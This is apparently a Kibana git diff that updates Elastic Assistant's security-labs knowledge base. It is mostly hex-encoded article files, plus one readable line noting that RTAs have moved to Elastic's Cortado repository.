9b58636f13a8e3aa15ba3e94876c5f40fa52baf62e656eb33d2086512ecae9001528d4516f27b66e67db53da7e529637fcface6b041bfa71b794e7a9deaa84158d748b24db600afeaa69dc4124da1ae2d6e8607a9816f78d192526dfe0ae578ad79e54fa5cb6e185c94ba9bd607381676595b65e3bd564b00c9717a977f1553078297d1a082824c5705b176aeb70ca0385b10ca28b719b14d743ea8cb83043a4e71f5dd18fb84adf39486ab88c3ba3afaf82a07388982cdd6eccad5fe755579ad7252671ba21094aea5f75fdef094279b12d0c21b7871e11077a9b9cc5ac8db355fec9f5865c58cb43071ddaf8eac98101b7453597df80eb63dce1c8cbe93298c3159b7590d005137d5a9a189da829d14fbad11a93086733c934a626ce0fd020257d9ae4ee640d632954432c23d87ca63a367498e84325bf7682b41cf06b8a104c721cc65f789ddad29ed589d22f951a87fae345bf4b09138ce5c4d79a59326be49442b33e918b72e29c8cae21b95eac68e30e28d70803cd4f1c1e430e43dd33173f1b5cc594931ed2f09a886314cd44b22c49b538702431fb57cc4bb2459e4affc6602f6ab6511b4b01b06e76a6eb8619cf5e5b4d46d66ee7aeffc6369b04012c1716c4012433153d139e277479c3a11683151e7f94136c5044abc268706e10900264f096b2d9ba74555b496a9382dafb22b494ea1d2cee3b531cfa531fb1ca6ff7494f3b7173b0ca1f6f977dd21b668a18b2abfd79ba814baf2453c8af78f9de77005415591eb904609e416ee8971a55f01eafa9eefc2528582fef891c5d81024a369e6cb6249179795818b7f7004d4eb177d25660cb8974e216bdb85006f2d193f58d62a20912e1d880cc7b96dc48607786ba877ed6abc6a35ae9f1f9fba025fa37e18ff7f1331d769d84748cbdb97c39976ccd45070e6d288f3b92155f65365631d7739cf59ac29d7f70e81ca6f6ce6959d3fd4e9224610c67dacd697118aec43db75453c3856f6418ff5e78d9b53c040bdf64dc5114c6b179ac2686a19b7685f797f5d3726ed3e77c60df6f84b1256ab66acbff7bd21dadcae4e0ad56ac4848a30608cf8389fc64ebf8f43f3e2c863c9714b7b92d3e5318dbbc03c466aacf7751a0064835782d5359afbe333c0014056fb3d5abb0b9a7e85ad51f2b2cc58a5b789ce01706f16d231d9d2877e2446a8fa6ab0a58aa2233149334221d7fed339b9d03467bbb779013563cbab14ab36d785c73afbb097a02670d82d27ededa3354214588b26a3b554742f0db2ce2774557a87f092943f22b9684c021e8c2206c6686f80389c16bf5fcd5e596b7d8be9c1f6d82b5c0fea6194cbaefa6c73adbdeba7ef27423ebbcc92a351d731233caddd2509b6fa8d833265717b6686d7b7c70f7f6f3b176edc79da0f08c5f8402315e4c5790922e64619a90c4385e7c0ad3279bd234f11f5ab10b597de313398b3ac180fb446270e3318c9621cf4cc4e2497aed7a79faabc07d066f83235e120347db5c763e580c9fc6127e2dab92cf82866aedaf5348f599d84eef733bcc51dd708d313dd29acf3e870fcf02416177cdb41cc3dda215d8f887a06a3436f7201e88ff89899479bed5ebd74025d5b0ae54e1546ec4a70309f37a9b4f0661c7035c9009ca10c80d42d0df34a5f500bdac34d72b730a310f0ba3ebee844d9cc8b1c31353d443b262338258a5985c2d81c1f684ebe1980be13c4e320ec053a4c93ba9ada8a273e983acda4503bb2bb2d3ae8806480b4c31ecdb038dd945c2e4a9ad4f319611a9b222a1751e4e3fe9632809ef1715e1a7b8ccb9de024f1fa7cc909ea0eca0886e4274bfc3d0747504802dd0c1bf45bce1be5f79f3cd4b588740a0ef1a8ad38077eb8915f6f23c54b5a557a335d338f80036c15bc720aa87dd24e999ce07b43d252872c7776731ce1622eb97abf8e4cc0ec99f9b27049735eabc2000a1a2a13fa4dce5cb7b202b9135f3588dd3df83d2336f5d64c60f7c669fdcfc139b53a4a747a489e74cfa54322dfd64ef1f18d04e236190350b6a5faa7d88261f3fe2c02a460e947ce34dc82cf24b4ad98c84b40be8229273019c0d7fd3565c995784f8448586599385c2d0472244f994ffda1e76b20c2898417ff024391f91153fade7aa97a20fe658b2ea8715d849d50111f0654a74be048b6bff6dd6342d708c820ce8ce451e0bac6a5de85cc756be46e420183d8616e175d1d27b06dbdc2871a7dd9e0f39c62f23ff21d16c80a601fda9eb7edb29eb9ebc1b30157e170d91d25fa69f759c5a7ff49918f1d6f52992cf60514165d754bf39b276f7d01a2ca1829db53df93722b2f5e2bbbdac97d3ae37f70fa0ad181418a6c13ac273be4ee76fc48fe7fd5987f15a3d9e1bd8470f5250bd668121ca2504bb13fe712565e6d21d35c447783bca4e740c50a29345658e4cc242e4e1257106417198dee3062e56a027d28a8151c1d408f1645eff58ae574cd521e32ba73cce5325b503d405d5cec741fb49ff23067457444b177324783bc43013e23696f5971695015aecf25ec2b91f88252f01e49d4be9748820809fc2b3d00a994da30401db1fd18496f913ad1b00cce93a9fa87c386e13042e8aba10e5af3c9a88f94f0d4eb40dfbbe5517051cec0b28bb5dbdfccec9d391c1010e89a2b2130f2abdd9e3f7991a0e88c84e4aae7c26b420276cd86e72ea48079e9711a7c001ed863e76c34ed87c291fa6682e3b23bded09a776d99d07123e891b16ae862955abc0b48a1f5bc7ea4940797b773a616c944d400f8d236bc9b301f21ec4c6d3dae4aed8d1693981f06d65030d35818a3527169a00ef33f6d1d2e501fde1cc6927b5c3ed8c3e24bab8b6038ca561a369d9196d944458cf40d73aa8fe7877609d8890fc94238789b6ca4f9ff3afc07458bd6873a05b7031ecdb4a82374555976a6c0ace921f86d731a73dbbb13c0987a7f141f4c3f0f9e9d6f1ec62a38e2a482e9514ddfa04e1332fdc5e45f8cebf0f1b47ec6bb28e092554513bb01e74c6cc605afb85d78d61a3fb19f7aa77a834196a318e7ce072adb16509800d010adfd256a694cc81d751d17390db656c02e030b963ae29345f48c454f0b8aad66207723da4a2484e59a8d883ad47465a23a300eb6d3b5d5b76861946f67441ccbc51908ccbb87e26452bf4a87c7977d76738149288ba58b2179b5861ee762d966207723da4a2484e59a8d883ad47465a23a300eb6d3b5d5b76861946f67441c613e0058c67aa2f83001f1c347ff57be5a59c23873ceecde9761fa14b28762ef3976d915c6887a083a539bcab73cd0520be5709770a1103516cd6ba96058354cc197a3b35cf055f41766bf557373a5a23d905e8b5e5b19849973228e53b527d3ecbe34318aa8abced50984e95e2ce103efc5c626802ee1e3fa7cfd60546db46b2cb195f3ba2c1c1a8fa13c160500bd80d34d0e3d271dec743055029e0ca70e0c0629f217d221b06e1edb2bf8a3d81c4e4de2ed8b6349a33b881cfb5b0c5e2226756cf03b180066b66b3f0abb06dcc2ff7c4603e04d9eb0f221f680c59732a9619e12ca753e9cbd1a8948b37e993fdebaef1a56206aeec6246ae8649a56a5897ce2bbae081e8643b047bae98697f8a6cb2046348988797bb377e94d6323247943860b74ab08c36644adefd2b8767fc969f5d69d830b15f82b369bd73fbcddf48da6478abc7c2993387d9a06b015d2812e1a4f7b9e21bbe27b587e34b81da58229e8803f6dacd071d84bf8237d3b56a7c710e9b1b0e84b79b33003be82d08078b8dab43d716892fbfe4d1226ebf9aecaf9 \ No newline at end of file diff --git a/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs/handy_elastic_tools_for_the_enthusiastic_detection_engineer.md b/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs/handy_elastic_tools_for_the_enthusiastic_detection_engineer.md index 8c83f16922324..4e4d7b1c1fb92 100644 --- a/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs/handy_elastic_tools_for_the_enthusiastic_detection_engineer.md +++ b/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs/handy_elastic_tools_for_the_enthusiastic_detection_engineer.md @@ -95,4 +95,6 @@ Tools like the EQLPlaygound, RTAs, and detection-rules CLI are great resources f In a following article of TRaDE craft, we’ll describe how we validate our rules across languages like EQL or KQL, and how we automate our end-to-end process. Additionally, if you’re interested in hearing how our partners at Tines have integrated Elastic detection logic, check out their blog on [Automating Detection-as-Code](https://www.tines.com/blog/automating-detection-as-code), which walks through the Elastic SIEM, detection content development CI/CD, alert management, and response handling. +Update: RTAs have relocated to the [Cortado](https://github.com/elastic/cortado) centralized repository which now has the option to use the packages RTAs whl available under [releases](https://github.com/elastic/cortado/releases). See the [README](https://github.com/elastic/cortado/blob/main/README.md) for more details. + We’re always interested in hearing use cases and workflows like these, so as always, reach out to us via [GitHub issues](https://github.com/elastic/protections-artifacts/issues), chat with us in our [community Slack](http://ela.st/slack), and ask questions in our [Discuss forums](https://discuss.elastic.co/c/security/endpoint-security/80)! diff --git a/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs/misbehaving_modalities.encoded.md b/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs/misbehaving_modalities.encoded.md new file mode 100644 index 0000000000000..31d074fe3a783 --- /dev/null +++ b/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs/misbehaving_modalities.encoded.md @@ -0,0 +1 @@ +46a1a2e8dafbe902aba90250f9ae265ae64123c246ceef1cbf3b438850696b9de97bfb0c7e1e6dc4ed4260a3714f574b2f1b5efcf57ff6ea4bdee8017677d411202c45697f722ab6a605af9d4d1b6a4c939c29d257d20ffdeb00b87bcd4f96499895691658f8478c16da80cc94d3adc1738550a93befb2429702dbfc4c1cca3e2ce7c904f750c3778eba644ebe620f4e912f96f9e8e94ae2056e19375835546c7dc39f8312806a2174467399beb9aae178e3a753ccae62f2f3d5ea2ae544c3fd011d51e289e08ee6a2e0f59d0372f881bbd5e86c6e8eb901f481f6829984c9551f24ea72266a64d1fa688d2fcb3d1529970d5b9db317910f70232f8c2ab69eb1e33d538a970be2924b83371806e82849be8b8204d76f1438424cbd2c825a3e3bb36516e7ddce3a709caa29ad05fae439da483ccfb91c31e72da56d6c12f21654aa99e7178260a53d5326c274d5455a9a8477cf11fcfb8ebb52e59b82226867e59bc4bdfb6fcc1744ec4fa09b9b1ebc9fc4f8cb9ea824aa2cc8d392afdc021df2f75a2204e7bb5e572a8eec2f8defa6759896952687ec388ee48783a833a6746e272b396aca083c1f5385d1f1e53c21cb724c11a01e0aef2e5737267f0660904e1afce1b4c54e8346860a331aed81ecdffe998d96343d6f1c8c8ce6a892d9c81b98934cb56007dedb05904ec6136696f1f7f17fb7369e14300215f16ee3c913db231c8b3b1d11ae1f5a9eb68318a360cb821da6cfb11447df6595a94b8ad32d42d479acf579fd149ea95cd5d80d0f89aec81017b7754fcfeafc4341ac1370bc024d1d74ae31c905958400b4369cf951777dc39f8312806a2174467399beb9aae18ced8e4cf94616b7ffe5b30dfd7226e51f546f1e7375cb8289b36a41042e85f9628df9be290cc05acc1486b0b04db606d0abd695631a1d008112da4c8e6cf3f7759a3035e06c2bcda99ade1b5a383d8dc6030722f3f4ce95a5cc3da5adb4500e9368e2c9a7770dac863ebcf4dc50f07165855878a7c9cd164834d0aaac88671d5dc66972dca761428b988967e28f5b80e22fda5d86b55490c2dd085cfc76e754f27ba7d5aa7963096066f3abee8dff634947a8b9951c0ca1177c6bb7298d5860a54cef0f28bb15249ed5c70256046fa4bdc95be6eb9910831adccd98f9a8ef134278d69089f02cbe4dfa6ce7b80e1dff811855cbb03aebd1bcbecdf63f6df32da39565050115156a10492a1f2afd5a215eac79e79269cb5a1d47cd35ab8018c84b67560b4544a88ba4dafe5826e0a384ff555bc8a80a6a9c048d900cf8a99108306611bbc3ecbfd31151a978b7ca1c87d8eda42c3d465310f1655128e519714960118bb5726bec33015a8e8e13b9fb3b9bf3b97e02dc1a23ee5d8427db49a7e92a9039bf5556aaa1d7b0e0175f90a16e802f3904e9c2e57f4567f860f6e370accce98351d53f2d0a258a98593916728d98b1daae4fe48a2e36db3c2c5d90cc4639788237807a0625b873063e5a26795072c38a4c13f2b801a389bf18cb4024891dfdcdb47fbdfe8fe82663b9e17e2e0967bb8b68f9d25b142f474cb542b5dfe0f3b97e05d54eaac038dc4d76224f8957c0790a0ffc54dd3706f4b77a3410643a37879cf9428091f6cafacd314cbe0f95be72cd6c49eef70880ea52cd183ff851b61a65bf3f3dc441671f79ac0b26fcf99265ffeb239aba42e703f5a1aa86ef88471d1e5184edb6128799b94e4ade1a91bcd198ac2f2e564851247636c8024f9a3a745c8b7d9ee60a885bc300aa52aa52a689f8b73c448ff41883cf56a31d99952757199ad4baba912d3e8fed75049214a1885fa576c52daca529fa65c085c966de5d38282dbdd6918d97ced935cebae5227dc40c0e2f4893e9f78eb37eed387856e4e37ebb57dd277962e1ded82ec3a1b8422ba22d33532513036e85c5ceafae1add6a25675e5582664c0deb0e06debeca46b608425f4783bc94ffbd9f3c546afa80065ad708f64865e0ff467da1a9913f32405ea72ae833e7313fadd30ce49958f9c6163dcce6270d2fed2cc8a97f2b7973b4b11013eb37a26d44240dfe13854432b4fb9ea216ad7ddb0f60314b6824f1112cdb90a507dc5d1604abda016f7bc9412a7055a075b36e57f5cc243ec5e9e3f24c6b036d9952f57347c36b1bb58bd05cb557b0863fc0e44e98763e2fb707635a581b776235bc7fbe892a3ea190f06ceb745aa51ce8507e493a1655f1f75e589d1a602aa13c8f3ffeb994bb2d0010b60928a3b092612a38eddac3dfd342b547e0941935aa8f5d73dcdbcf52fa43fe9a55b1251eda27400e63e134fed97c9964859d13c4a17ba9a98cb885c810de9bbc4485a6cfa2a30f6b6e699b764cc50296cd1358a8d8af9eb298f858f3cf88b8e3b2cad32118b37bbb41ea6c7fcea407467b7ea4374cbedd7530ef20708c6e3a7550cde125e53623866cae2485b0f0981205715967fd1b0f2b0f79de3931fabc6d8e41c95662833bdb175a4ee81d521871173cf198a1d9e3b4593b65e1e45329ed6a4de57cccc1ef24dc5c1e9c5477f6cf537f5a6507d7db7f120ab0eb5edb2b2a74a5438a67647dbdf0482715d66b893c8bcaec1c9202344fecf19514be6f0ecaf1ad1da96b098d13051fe1d369e73af3f63166e8319dea949690ead8ecad358c73ac027c14ae96395c3fdf21e9d5d668b57f784c2f24dd5c2038cc8ee349a48186c1acfbf6e15beadf58871a33fff1e3f5e3306b44c0a850d5c72f7d47d0c240026b0d617cd30fa913949c80933f2579359d46f4ac969f00f98d13c70232c5cfe46d9722401630e9258f16c84ad6c2db9916704abf73156b0629cf052a891277515e7bc0985a570c7678bd3072d164f66c010a0d3b4c220393358bd1509c58679f5eecd65f6cc46f2097a5c27528cb27da5b09194fc7ce5943319cf256e0481fb02414880e4edab9b855302d423821c06e59a0c51e0655765e16e15a24764d074cb7cc0c565bb9a9706291860583322d8473876c64f5ce164f37b255207b9dabed936597933c1667459d048464a9ab56bb5471ffe1d1ee80bc841c11002989a1d3ff4cb069c6e37024e5fd2d1cf8fc7c5d132107fb22f4deeb81968ae75eb66e8562f3b815866e2e15a6108289a8591b49f95af7152f242b1f481561cb99743023b6c3cd7227a0b5a5a5afaf91eaf40e1316e1da6d36c8f0a28a907026c789788fc8a37d9ba62efbf5fb28b6bf15ca40a9ec93be88efa7c62b3956a3b57d6eba5e9d038e8d0fd5a7b7b6a45bf6decfe3b2cad32118b37bbb41ea6c7fcea407467b7ea4374cbedd7530ef20708c6e3a96f85d45c2cd7ecdc8778a20ea6eef7c66c92805f70b81805b492a4b63fee22e3e88a49668ef175fee9145b31bf7de01a955133c8be27b21a7582c39632c237639802d49940a99c04c7da75233354e4781b7c3084455688b783fb650988161faa96dacacded0ace119947607992bcd965624d127dfbcfbdea278fe69354bebc2cea1ebd1a56eb63560a3e08b5eca51198230a679edd9678a022ab80f26f22f47e9b5054601bedb96268fd04f86b5028cf2db032e6be202e7967f243876f92b024513cb30240bed87f6e31b23200fd9a58e799d923cdddaa47053193944e07e7e5e77c50097bb1fde3c1d18afdec98653fca5b09b956698c1d843b06d9aca42bd31410e709834d1a77c5bfd81a230fa6a4fe8d200285c378db63f158844f6f0536b68f571307b1fc2d54842f8467d3d73c1d4eb81adcec44172d9c3412ae4944adbd068d0af30e22e3fe5f6384d8223c818570a38802abd77509a4c84a56fd5ca464a03aaa3ea0078d9c3897cf37dedfeeaa1f798993035d089921ea25908915b3f991481aa6ca3c828d850b9fae24fc103767ea1b6cb1b56bcd1d447c46e6b938e26dd9b3975a5aab54c63637212ad157150eb972782ac67b596f08b5a0c4bc33b680699b6570a53cc209a2737dc13c750830fe63714a18bd7bc28d753efb7bb9577f9187c6a12548122101685d071565318eb5dc45c754b8ae1249de5ba10bf654554363d3ff3ef10a26cfe2a44c1ee7386588403ba9933a75ebdead160049cbe0a9275e1ef2781d6c624c261532c285945a5454a9f5746b29f4f9d52243bad0d3af2ab8adf43c3497297d62757077b3fdea8ddfbd28fc38c3e37ba823e3008645c12825ccc276f924f37a1dc1a6f743d377a372885fa53d871f2549983b1c9e15e2fa9f624a5c254af58543ec24796166d025ae4e2d3a292a58de4240704cdf468dd8229fc9ff1c9d27fa2a4cc258c262e075749690ed64f535690424e5afcc443f89ca4b22a58d4780219b88ee77ffd5c11fc5305d84b64d6561cee35df757212f40057a81da4ff48f356434dd5031c3c8158e64d128bfcf7640a3eba32ed63b68f1de69e9e20654ace885becb3d448334d2713173796d49f63076058236243e47b5b80fc3f4e2cfa2b40620af266fa12da05ca65807c16b2c204cbb8d934653aefcfc6691385b1872c34f0fa471d710ec9792579d344a655fc91333542ddbb8b64964931f578bcb49bc1bedb435eb731b4e1ed251130f9fe2e2dec4b8eda3686780bf50684d94ca892fce0ccb7e811ebe76037783be22eaaa0c0969f793f869931e7a7c7989ec3c0ae27325385facb41eee1bc4e7358a565e284234a0b1ab8fe22c422a2f435d5b6a548215a775723bd4940f03ab15a418982ccd8e32c9f190a398b61d80d262f63e56d0d36f3bc50add3740204eed482c9150ed1616654e203f1e268e1e2480f89d147788705a7f793f51a9ca44ddf8720cf55f1295ea073bc6b42d998ed9673e4880f64ad4175529c72e92fdfbeb02cb1741a03a63d9c2112b98cfa04860c5f3a88016b7c3483ccd95ec63514d71bfddcff7adc35d272a00ecb66afd1b648229244c3ceacd9f494d4ddec3c641943282a13f3017af9fcd0a43162bdab42d8e3489040fd45596b126bd3c4cc45e976fbf79556d68ac1015d0d8ca713b4d6fe687b9467ab5dd3605d742029b3fe992b9b2924535773319661ebf2f6433dcb088bbeec5b06461059514e112b49862da69557ac6e9c76f4c7265f664d3c1295fc1dc0114560a94cca97e1ee0162e939ed6133c9474588d13b5f0ad6edb603eab913894041fe92ece576d06230df1e43bd32ca75fb4934c355eaa2833526c0376cc487e84a709b5439205920bb37365b35ef0ab009dd365854b8fe22c422a2f435d5b6a548215a7757a6f834aea2138e33850c6860db2a1c82b4a8121b09c6450d0646eed85566956314c39e4bcbcdab19d8612209894a5aa518bee73ad62d5c6bdc3c0899d3938e30e505369416d50c270f9adc1da1e429bd0a11c983c2c32cf489a3a971cc463de19fc38e7bd4a54a45205b82a0430ec7ce1a5acf26d6879ec2036cf5c1312f3342dab7756d7cc0e0380a1b19eb7a8542f68209b26e391b011eb053d0529a5575a9b18ef86fd9186ba45df38a1bc6e890fc2f449cd0488d56d01ed5d62770d971bc89dcbc73e9943c0c0f4dab65fa893d211c245c60c18f7cde74e66c926c187f1b35caa8d531d020bcbf9a2784fc7322ee644f1cf182bf80f271041a2484c8581b1add6a25675e5582664c0deb0e06debeca46b608425f4783bc94ffbd9f3c546aa0344860f456a5da37681da89f044e76d9430cffb677d1647d5e008c29a0a0f1cec0bf4da04143c366e9c5ee7b11595b87227e82be78949cfd2796973e523aaf00c28d83c94a32bde9390e86e2ef411ede659e7abdcde242897232368fcced03077eb1a5c8f6dfde92a55e01a9282bd058297f12c2d054ff2767eaa1e43adb3b1647a7530fda12e355c5599c15c10cad666a48ebf51cb85810e70545f131092ad37884be64a7c6f0b952383da04b2f95c9f9c0d639b72df4f23019cf781e2868f076c1c0a71b636469618912b183799069e8343bf894ae88dd7d95d87ba8a4caaab45a8110aecfa1f584f9e8ae8a040d1eed759c36d0cfd95035d71c755605c1ccc7636fc25c0d24cc4223dda899dccb147e01bd90fc8330867a53396d7b064674e5116a47d057d6e570094e44770cbb68a51a71b667f28a36050a59c02ec0ec508cd25d86f68b950c9ae257385254246f0758f234d151657b8bef57cb1d8c8a1c51f9daa67fb2d9a46a16a6ce0c4318500ebac2b7855ee52ce9abe86a5dadb2c61f211b6276be5a81c5e354fbcadfdc52f3599e6e0cf175b8a5f20758c51da79456fdf33a4240a71dffea1cd8e87154b12e13ec3d250b4f637d0c7b44839cd168c1f73ce3b0950569e5f667b849d2e0a1970c1643994a10b7f891ef99ce7e2eb970a7034317eb4e00b6afc026307c02a4e6ad11b585651920e9a3e300623d5bafdf208897b11946a40686a860ecd46dc4b2246db42101cec8158d050482ee42d1be45e0abcd669e98dbbf59e986eaad124d42f8b97caa88924779832773c25be9aaed5e88aa1804f6cbe31fe7c957451233a958eefed81b137c99595bbc5477416122f7793ea9232f125f89379b64e0198ba4e27270aa42b0442a4aab671856197972f111a4b984d979a28d7bcd7f2f000168b2306fb281794aee3e94a0ae97eb9c6d522283172aff50f930aab949725af481c43cdbc2baa4dd426dd04da45b970d0f1599260abf5fa130b59b21dc101f17f2fb8bdc29b50ba8e0c6ad17640d1d14d55a5a3fb8be87316aaa80b2103d83402338ff494e06ec07f3f9a2e3f46282fc3c475263587672fca9aca69ac4a216549238698858dbdd84329745849851dc493f39983951a3dd5a4bdf5da810e8ce52b2162cd0e2d54aec26872290b76fecfbbfd92eac70319c74a5a6c786eeacfb8492d4cbeea72d39d80e97c331bcc52eb2a299911ae70e558e7a46cb53c6768a24b659f3c8db4b0542c3ad132582b562dbde5e69afe99cf33d7bea5c9244c8e9ff72a3528c1ccbb147f9fdc4d069a6e40966f4b14aa80fa27034b0cac360e6f3dcef8a12a63f041d59f1645e916201b8ac5e9fc76dd4eb586305929a8a3ba2017204affef1f747132bb81865e97202f3364e0b42faaaa3ad709777b936bdfe3c31169d45ec5c902c810176d350352745041c350fd30b9c3e02e17b2a7705a29a645d5a39b4ca44bb4cc5553e0312d5db2a2e03526f9534ccb578fff114f0691feef6e6343e037adf841631c4dff192e034cbc8497bc134d96d0f953eed6d0f009c53e2bc75c0ad2a52ee970621c42d0090f6875b93848ca8c7e469c2f5c78c9f938ae762fc7946bfe341a9ab28f30149c45f07ab657f006540f7714c7c4180a80a6ef000607f9a74cf80cf04c2a64b7b1ca60c997e3792f994871b66d7f32427eae4ea03464c0a488344484395802e06530b4ec57131a54c3b9f2f6f3e7989f825e9cff0495ec2dc014e2b9a7162bb180bd6a5796517192710261104d0955dae0d6d069068e4fa91c3d28708de5b1b19b1cd5cd6ca4bd8fd136cb20efabc56bdc04b8873a7ee1e85fbc020b5536c7a984bb8c2e57c0894f41ad94209e3fbe4a80cae2180336c82837a0232dbc831d4f2796232c09c076f27f4a19f8ebc6746539f38e7f51fee902e24bafc2b0557cbeb88f95a19d9aa3eaa5d2a0235e4196940366fd6c79de244a549b787686bcd184ae107fd98f17ce1f457e0f1f6f6f2da2b07e9ee254579216f1621d83b367a560b83ca141cf33dc54e15405fedf7bf4e70cf00dfc727828cf782b92cf09013af5948938faebc3800017765927bac9bd0d2cab03cbccc19fdd5b9115db75d4fe1b48453fa74b3afa3ddf14cf6f000e03c4dfb0b6648e1969e49abf809c441a084681f703be40e6c39761b1cef93bff6565da4391569b79a46783812b0a126e4fc66ad35f1e3e76503900720c935b921fb3144d6c747c8e01bfc05caca16688d72fe5992263042bdf90e9526c50356bc74e476fdc3e1c2d56ead3728d7eb93178dec418effc1084c47336785b3693c032d07c8604a1538bb18793cf7c5f440eb0b8d2c996e13d044f78ef68baf7adae58fa56a98a2daf710f1faddb3e8b8449e88db792b7eff65ad1f6d0615aa7b92c30cf298cc5679012929577511a8a99f1de2be0aebb46cab289b0d06f52fb0a8c084f91e58a579035993e7171d17028d5eb2e0a77bcecc87446b0795ccc66cf3add20aa93e28c39b86b8abd4eeb7f4dad772478176e87fbe8e6660909d19ab90ca0e368700d51db6ac4ab32f9a17793203260995fdb4a36bb93028485eab423be4d2ddcba722f162b17568882e140c129434ad6237b7f2a7e9a1724affef9966d2168dbb0027a26771bde8bbe4f28027b3b89809ef925dd1b56b560e1670f9c681073e5182b82a0bf97537df13d247f62ddde1e9a081a6141234e90daa231f09e3a04f7c5511359896dff58e2b91ae64a4789d3a2495561b68c965c7195adc71c458043b682a6e7b60f5c4ff3bb7f9db39061028f0031db2315654e72f92225ba1aa82ae793737227d9be137458693e21a34de804c3d0f77449ed4ff207c14b230bf53c7d5dd467b9d742029c56cd117734376b0f9d1b80631772488e8e8fc8e50593b43f018c71c435670cb7f6a75411fb759ade51511212d8a2500a074568cb186524d9f33decfc31deab5cd5b182f462fa5a6321aaf8d49e09e5915dee9791024b14d4b79b0ba1e41ef83393dd331c3d6c8d4f99602b23af8ec459375ba46709db73610490be71f70b304182a20c9393cb664ee93aab94bdbc6ef22110e0dac716c2d336f46d3905b29d8bfc1e3c5d333f66bbec588734347182004a186a6d6f8174cd9e662859e96cd5cba3f59f844b409d1b808a65b7027d9d7db8b289a29bbfa5664f3665d5a5623a79990aca8f5b7633f61171e8429a0f2f1eca4eb165dd192a9ecb0ca558f1c79322fad776920a220deb1c1a2e6594df77b83ff496f17f22e4662543ecf994e12917a659608378d9c9204df1d48914b4aa0a425e3cfbe3d2aa55fd75966e8907f233fa4fd438490b28b2fdb445bf0b01b59515792e4ba21bba83d4a7246a92ab9a5b48410122ed216ec11f53188b52b32e795f0a76756ed88bcc0d9fab8d055bde5514998f4921e11c2da911cf08f4a949295e4a60b6ca0a48347c0c91003dff0ee78c433f23b612c011f3bb639e12e200afbb151769b673595b0ea3b6c92724e90566714cbe96f0dc98f9bcbd78d6a433b1151ae257c89a509f541c7173dc64e176c4265c81aa4de17e0a64751cca1fc080d8b2cc2a7f9d311cec74f4113fd3aa10c0bab3aca4c475c0111b8488c409428daca5cce10f8c3ac022181b63637fc41c7f718c211e4c0f657ad160a533325f25e1d5b809985eb93775f13777458f9ab810424986fba8858b4414cce0a547ae115e9253585f223eb8fde92f953620be9cd7790c4c317757adb50ffdfda2f7968dd9482f199920766f5dcf055129e18fddbe99e74f891c8d9b2acb05a9b3d5b6b062b282464255779d86eed8fffab757cf57d6c615078d1eec0cfadf7dd68247943e5169beb55b00a3577b0ed29f0a92b9f8df39de115016cb225cf4c724a4c7476b3cd215734c9fb59a5ea6f59c6858b8618fe4e2f44c19b9bfba6b033f1c0b4d2c7b68dbdc24430ddec5608de1cb0a16314ae336e03ebdf45d520fd6e1a19e23608a883c35308f073370a57bf628bc508ab97d66f4af00b21386173aac60fe6b1c6196d0a881dbd09453343534ae58d39cf679cfffb243d15841a1c9ca68db3826a08b69f54571ac1dd9eeb7c226da696bafed3dd8ca66c5f4be8f4b102c47a9ae42f89a2b7955ee63aa731745c0f0ddeb22578ac245969678158556344006de376980afe7ec7ac3064119eee048d4c1f2b8870ef98cf4c53ac4a2dcd22f170467930d685b319699827cddaba8d062cb09c9eebd9f6b4a06a93e127c626dedb2dc34f206c0d10f09b226255bdb365af0d4623b45321877b9fb6a833d9f158861e7163b5b008a596a7b1f47fe7d20e09ee253fb12d1a7713376e2631932056034e80435a62bd8f736dfb18135d9e2a57b1c4beb9311a794a8e98b862a37a90e54695fb97a92ac2ec1950d5777e0b3cf5064063c75ac76747d54f9273309efa7f8ea5765d01022045fc0bd8ff02553a8681e901c89ff67f911f62271e169822ca67249a44945d0219f8fda4a927cd786fca2506570423b66f8165e3b947d68917170edaafeaef5414c0af3dfc8e432da26f09358668479384a617866975c8b04c4de7f2939c49aa6ae2b239056a3c224c1d0dde55a0c2aa1d81cb25b20dbc5d81e411e750fcfd644b139e6a46a55a692cdf81ab02f118c6316a822291c865261a796fd22defb14dfab114ff86e00d0482eba7d76a59a9014f6d6503a77badb11cd7a9efb49cd8d9e25a3cfb96a58fd4532e475c43f01c04c3135e63d682115ae574086e4f3dce964f9df8fd50c2553bf4269ba83cbeb6d830beb6201db60a545042e4205e3f449997ba5f723aa0c981421efd7b246959a74fb3c691a43ef5b5300038b9e8aca221faab7e7c5102a625bfdc325abd192935e3690720dd0f2086c96f74db1e2a628a3e822d7ccdc2feffe87a12b38fe979a59f829b0c98a745a85fb3e8e56257d429a403c39599e013a1de6aab956f52d6e399ef38d84df1bb24705dc8879ebf7c99ea2bf7f4888252381649f3375996b21bea2dba082e877925b31d94a8ceafb048ac2dd2e1252299df2e9fc05ca2ee966c4a026fceb270a07598522032c4deaf5a397cc482a2697d6939d36abc2ce383975eb887b4660ae50925cf59b2d0d91b78b705dd0e5befc782296509d5c9da3c4d8ca2fb7a9806ec6107d5daea8cf6f76d217f4978e92bf6d691827d175ddbf751a0b6989eaa0c78a8e867d8cc50af4f8b9bbd930044354f0fa768396a15cafbeff4c8b82a6b95eeb181a2dd60ddaee9e237a83e0fbddde0751441368850e10b096c10ada14de60a3ae6730074172f4b57f1465398cef06fe6820453993b424bf3f81b5a45d745750b7b653845ae0d4449ad5c542cb7f94263ae411202a50fa83f12583d9275168c8603ed09d4514ae5f138efbf545385c5dc43d4fb8e2ed5707d4229412ac8756406f66ed4d1c63ea7ac8abb3bd65394adac254442b213c51656a55b384b0528dfd0e633ecf824fd879fd18a677e847113d22c87f15654b92fc6b1cc3d519c3da811bbe86bfc4f97ffd64277a5ae49df60d25c4068380cd32aec2ab172897b26395eca02e0ff38cf2c631bb73ab1bcc9a987bdf355c205ea1e43c3dd51670ec7f818bb475cdfee6d340e043d280b373701db94559bce3dfc66157af2580ca4c5590a555e01aa0b2b40fbb3364b5b5432cb549e59ccf471dba92145e0f468a90e30658f0633de14842b55c720dc611d5b7ce97fffdccc27d04d1ce0837c521121c8d1e0ae818a8a3225ced562e00b5f4dbde7d1837cf0ed5b274d7ed54b0b846f2c7a291cc4be64151e83927b8054099c8d1a727df88bb7569484243d5d20e3bff2c98fcf4dcb505b8e7e8cfcd911197a0576ddad14bc82bc099935f1810c53677bf2da6786acec8bb27ca86c151ae033256f3552